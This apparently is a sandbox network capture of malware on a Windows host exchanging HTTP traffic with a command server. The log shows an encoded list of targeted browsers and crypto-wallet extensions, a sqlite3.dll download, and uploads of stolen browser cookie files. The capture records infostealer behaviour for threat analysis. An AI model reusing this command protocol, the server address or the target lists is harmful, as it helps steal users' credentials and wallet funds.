Nov 1, 2024 05:52:05.228728056 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 7a 6b 77 4e 6a 67 79 59 6a 49 30 4d 32 49 79 59 54 55 31 4d 6a 46 69 4e 44 49 31 4d 7a 64 68 5a 6a 4a 6c 4e 47 59 77 5a 54 67 79 5a 6a 4e 6d 4e 57 4a 6b 4d 54 56 6c 4d 6d 4d 78 5a 6d 59 7a 4e 32 55 7a 59 7a 63 79 5a 57 51 30 4f 47 4a 6a 5a 6d 56 6b 4e 54 67 35 59 7a 63 34 5a 54 46 6a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NzkwNjgyYjI0M2IyYTU1MjFiNDI1MzdhZjJlNGYwZTgyZjNmNWJkMTVlMmMxZmYzN2UzYzcyZWQ0OGJjZmVkNTg5Yzc4ZTFjfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 1, 2024 05:52:05.229798079 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAFBGIDHCBFHIECFCBG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="message"browsers------EBAFBGIDHCBFHIECFCBG--
Nov 1, 2024 05:52:05.515182972 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Nov 1, 2024 05:52:05.515198946 CET	112	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFU
Nov 1, 2024 05:52:05.515254974 CET	944	IN	Data Raw: 51 53 56 63 58 45 4e 6c 62 6e 52 43 63 6d 39 33 63 32 56 79 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 44 64 54 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: QSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcXFByb2d
Nov 1, 2024 05:52:05.646369934 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDHCAAKECFIDHIEBAK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 2d 2d 0d 0a Data Ascii: ------AFHDHCAAKECFIDHIEBAKContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------AFHDHCAAKECFIDHIEBAKContent-Disposition: form-data; name="message"plugins------AFHDHCAAKECFIDHIEBAK--
Nov 1, 2024 05:52:05.931905985 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 1, 2024 05:52:05.931922913 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 1, 2024 05:52:05.931935072 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 1, 2024 05:52:05.931993961 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Nov 1, 2024 05:52:05.932005882 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Nov 1, 2024 05:52:05.932018995 CET	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Nov 1, 2024 05:52:05.932837963 CET	848	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Nov 1, 2024 05:52:05.932976961 CET	204	IN	Data Raw: 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 74 6f 61 47 70 6a 61 47 74 72 61 47 31 70 5a 32 64 68 61 32 6c 71 62 6d 74 6f 5a 6d 35 6b 66 44 46 38 4d 48 77 77 66 45 31 35 56 47 39 75 56 32 46 73 62 47 56 30 66 47 5a 73 5a 47 5a 77 5a 32 Data Ascii: bGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Nov 1, 2024 05:52:05.934364080 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFBKFIDHIDGHJKFBGHC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 2d 2d 0d 0a Data Ascii: ------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="message"fplugins------CBFBKFIDHIDGHJKFBGHC--
Nov 1, 2024 05:52:06.220590115 CET	335	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 1, 2024 05:52:06.240135908 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBAAFHDHCBGCAKFHDAK Host: 185.215.113.206 Content-Length: 5867 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 05:52:06.240170956 CET	5867	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 Data Ascii: ------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 1, 2024 05:52:07.039463043 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:52:07.292124033 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 1, 2024 05:52:07.575726986 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49760	185.215.113.206	80	7512	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:52:20.748156071 CET	629	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJDGIJJKEGIEBGCGDHC Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 44 47 49 4a 4a 4b 45 47 49 45 42 47 43 47 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 44 47 49 4a 4a 4b 45 47 49 45 42 47 43 47 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 44 47 49 4a 4a 4b 45 47 49 45 42 47 43 47 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------FIJDGIJJKEGIEBGCGDHCContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------FIJDGIJJKEGIEBGCGDHCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FIJDGIJJKEGIEBGCGDHCContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FIJDGIJJKEGIEBGCGDHC--
Nov 1, 2024 05:52:22.184303999 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
